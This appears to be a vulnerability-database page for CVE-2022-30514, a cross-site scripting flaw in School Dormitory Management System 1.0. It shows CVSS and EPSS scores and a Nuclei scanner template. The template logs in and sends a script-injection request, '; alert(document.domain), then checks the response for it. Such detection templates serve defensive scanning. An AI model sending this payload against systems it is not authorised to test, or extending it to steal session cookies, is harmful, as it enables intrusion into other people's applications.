Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-30514
HistoryOct 05, 2022 - 8:01 p.m.

School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting

2022-10-0520:01:11
ProjectDiscovery
github.com
6

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

44.8%

School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-30514

info:
  name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/bigzooooz/CVE-2022-30514
    - https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30514
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30514
    - https://github.com/Marcuccio/kevin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30514
    cwe-id: CWE-79
    epss-score: 0.00112
    epss-percentile: 0.44481
    cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: school_dormitory_management_system_project
    product: school_dormitory_management_system
  tags: cve,cve2022,xss,authenticated,school_dormitory_management_system_project

http:
  - raw:
      - |
        POST /dms/admin/login.php?f=login HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password={{password}}
      - |
        GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "''; alert(document.domain); s='';"
          - "School Dormitory Management System"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ef4b1be87936139364b507a3b41daf0333462a7ae5fa9958a26294df2c6475c022100ec536ea736fb1ea35cd100c121aed4de30929f4d1fda93c70e45118ecd50be49:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

44.8%

Related for NUCLEI:CVE-2022-30514